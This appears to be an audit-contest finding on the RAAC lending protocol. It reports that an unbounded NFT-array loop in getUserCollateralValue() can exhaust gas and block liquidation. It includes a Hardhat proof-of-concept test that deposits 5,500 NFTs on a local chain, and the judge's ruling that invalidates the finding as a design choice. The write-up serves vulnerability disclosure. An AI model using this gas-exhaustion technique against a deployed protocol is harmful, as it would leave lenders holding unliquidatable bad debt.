Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Invalid

Impossible to Liquidate User with Many NFT Deposits

Summary

Liquidation attempts against an undercollateralized user with many NFTs deposited is impossible. This is due to gas-heavy collateral calculations in getUserCollateralValue()::LendingPool.sol.

Specifcally, gas consumption can grow excessively in the unbounded loop in getUserCollateralValue() leading to a denial-of-service (DOS) when initiateLiquidation() is called. Note that initiateLiquidation() calls calculateHealthFactor() which in turn
calls getUserCollateralValue(). These calls would revert, preventing liquidation of a liquidatable position. The result is bad debt creation and severe undercollateralization against the protocol.

Vulnerability Details

Root Cause: There is no cap on the number of NFTs a user can deposit. Every deposit appends the token ID to an unbounded array (user.nftTokenIds) in getUserCollateralValue()::LendingPool.sol, which is later iterated over in functions such as getUserCollateralValue().
The collateral calculation function (getUserCollateralValue()) iterates over the entire unbounded array, leading to linear gas consumption that could eventually exceed block limits. These issues together expose the protocol to potential DOS attacks.

function getUserCollateralValue(address userAddress) public view returns (uint256) {
UserData storage user = userData[userAddress];
uint256 totalValue = 0;
for (uint256 i = 0; i < user.nftTokenIds.length; i++) {//@audit-issue protocol iterating over unbounded list
uint256 tokenId = user.nftTokenIds[i];
uint256 price = getNFTPrice(tokenId);
totalValue += price;
}
return totalValue;
}

The same root cause of this bug can also be exploited after the initial liquidation period has begun.
If, during the grace period, a user legitimately mints and deposits a large amount of NFTs, the same bug will prevent the liquidation from being finalized.
Due to the for loop that sends the NFTs to the stability pool LendingPool.sol::514-518.

PoC

Step 1: Please add a realistic block gas limit to hardhat.config.cjs file:

[...]
networks: {
hardhat: {
blockGasLimit: 30_000_000,// <===== ADD 30 MILLION BLOCK GAS LIMIT
mining: {
auto: true,
interval: 0,
},
// forking: {
// url: process.env.BASE_RPC_URL,
// },
chainId: 8453,
gasPrice: 50000000000, // 50 gwei
allowBlocksWithSameTimestamp: true,
},
devnet: {
url: "http://0.0.0.0:8545",
chainId: 8453,
},
...deploymentNetworks,
},
[...]

Step 2: Paste the following describe block into LendingPool.test.js:

describe.only("Unbounded NFT Bloat Attack (DOS on Liquidation)", function () {
it("Should fail to liquidate user if they deposit many NFTs", async function () {
// 1) Set up your environment
// - user2 deposits crvUSD for liquidity
const mintAmount = ethers.parseEther("10000");
await token.mint(user1.address, mintAmount);
await token.mint(user2.address, mintAmount);
await crvusd.connect(user2).approve(lendingPool.target, mintAmount);
await lendingPool.connect(user2).deposit(mintAmount);
// 2) user1 mints and deposits a large number of NFTs
// For demonstration, we'll do 5500 NFTs which is what exceeds the 30 million block gas limit
// In a real DOS scenario, legitimate user such as a REIT or institutional party, could deposit thousands (or more) to push gas usage over block limits.
const numberOfNFTs = 5500;
for (let i = 0; i < numberOfNFTs; i++) {
const tokenId = i + 100;
await raacHousePrices
.connect(owner)
.setHousePrice(tokenId, ethers.parseEther("1"));
}
await token.connect(user1).approve(raacNFT.target, mintAmount);
for (let i = 0; i < numberOfNFTs; i++) {
// Mint an NFT with a distinct tokenId each time (e.g., i+100 to avoid collisions with existing minted IDs)
const tokenId = i + 100;
await raacNFT.connect(user1).mint(tokenId, ethers.parseEther("1")); // Mint a minimal NFT price
await raacNFT.connect(user1).approve(lendingPool.target, tokenId);
await lendingPool.connect(user1).depositNFT(tokenId);
}
// 3) user1 borrows, making themselves vulnerable to liquidation
// We keep the amount nominal as the key is that they become liquidatable after a price drop
await lendingPool.connect(user1).borrow(ethers.parseEther("10"));
// 4) Trigger undercollateralization by drastically dropping the NFT price
// so that user1 becomes liquidatable
for (let i = 0; i < numberOfNFTs; i++) {
const tokenId = i + 100;
await raacHousePrices.setHousePrice(
tokenId,
ethers.parseEther("0.0001")
);
}
// 5) Attempt liquidation
// Because getUserCollateralValue() loops over all NFTs,
// and there is an unbounded array, the gas usage can become extremely large.
// This call thus reverts or runs out of gas.
console.log(`Attempting liquidation on ${numberOfNFTs} NFTs...`);
try {
const tx = await lendingPool
.connect(user2)
.initiateLiquidation(user1.address);
const receipt = await tx.wait();
console.log(
`Liquidation succeeded unexpectedly. Gas used: ${receipt.gasUsed.toString()}`
);
} catch (err) {
console.log(
"Liquidation transaction reverted (likely out of gas). Revert error:",
err
);
}
// The test will REVERT and you should see the message : "ProviderError: Transaction ran out of gas"
// This demonstrates that a legitimate user can deposit a huge number of NFTs,
// making the collateral calculation loop revert and effectively preventing liquidation.
});
});

Step 3: Run with the following command:

npx hardhat test test/unit/core/pools/LendingPool/LendingPool.test.js --show-stack-traces

Impact

An attacker or even a legitimate user who legitimately mints and then deposits a large number of NFTs to the lending pool can prevent himself from being liquidated.
This results in the protocol absorbing bad debt and being undercollateralized. The issue is compounded by the fact that the amount of bad debt will necessarily be very large as the issue only arises when many NFTs are deposited.
Prevents initiated liquidations from being finalized if large number of NFTs are minted and deposited during the grace period.
Undercollateralizes the system and creates bad debt.

Although adding NFTs to RAAC is semi-permissioned process, requiring price setting (RAACHousePrices.sol::setHousePrice()) prior to minting. There is no reason why large real estate holders would effectively be denied to add all their holdings initially. In fact, RAAC would be incentivized to tokenize exactly this class of user. The issue arises when there is a price drop of the collateral for such large institutional holders. They, by definition, would have large amounts of NFTs on RAAC. By extension, they would have potentially very large borrow positions too. The bug is thus very likely to occur and presents critical systemic risks for protocol health and solvency. The largest borrowers will be un-liquidatable creating the maximum damage and largest amounts of bad debt.

Note that many institutional entities own more than 5,000 real estate units:

  • Greystar Real Estate Partners – 108,566+ units

  • Blackstone Group – 300,000+ units

  • Starwood Capital – 115,000+ units

  • Tricon Residential – 31,000+ units

  • Starlight Investments – 70,000+ units

  • CAPREIT – 67,000+ units

  • Kushner Real Estate Group (KRE Group) – 9,000+ units

  • Bozzuto Group – 70,000+ units

  • Equity Residential – 80,000+ units

  • Mid-America Apartment Communities (MAA) – 100,000+ units

An additional impact is that despite liquidation concerns, a user with many NFTs deposited may deplete the available liquidity on the protocol given their significant borrowing power on RAAC. This is a result of the same root cause (not limiting the number of NFTs that can be deposited).

Tools Used

Manual Review, Hardhat

Recommendations

Introduce a limit on the number of NFTs that can be deposited per user to control the size of the array. Additionally, refactor collateral value computations to either handle large arrays more efficiently or to use off-chain or batched processing methods, thereby mitigating the risk of excessive gas consumption.

Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Invalidated
Reason: Design choice
Assigned finding tags:

LendingPool: Unbounded NFT array iteration in collateral valuation functions creates DoS risk, potentially blocking liquidations and critical operations

LightChaser L-36 and M-02 covers it.

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Invalidated
Reason: Design choice
Assigned finding tags:

LendingPool: Unbounded NFT array iteration in collateral valuation functions creates DoS risk, potentially blocking liquidations and critical operations

LightChaser L-36 and M-02 covers it.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!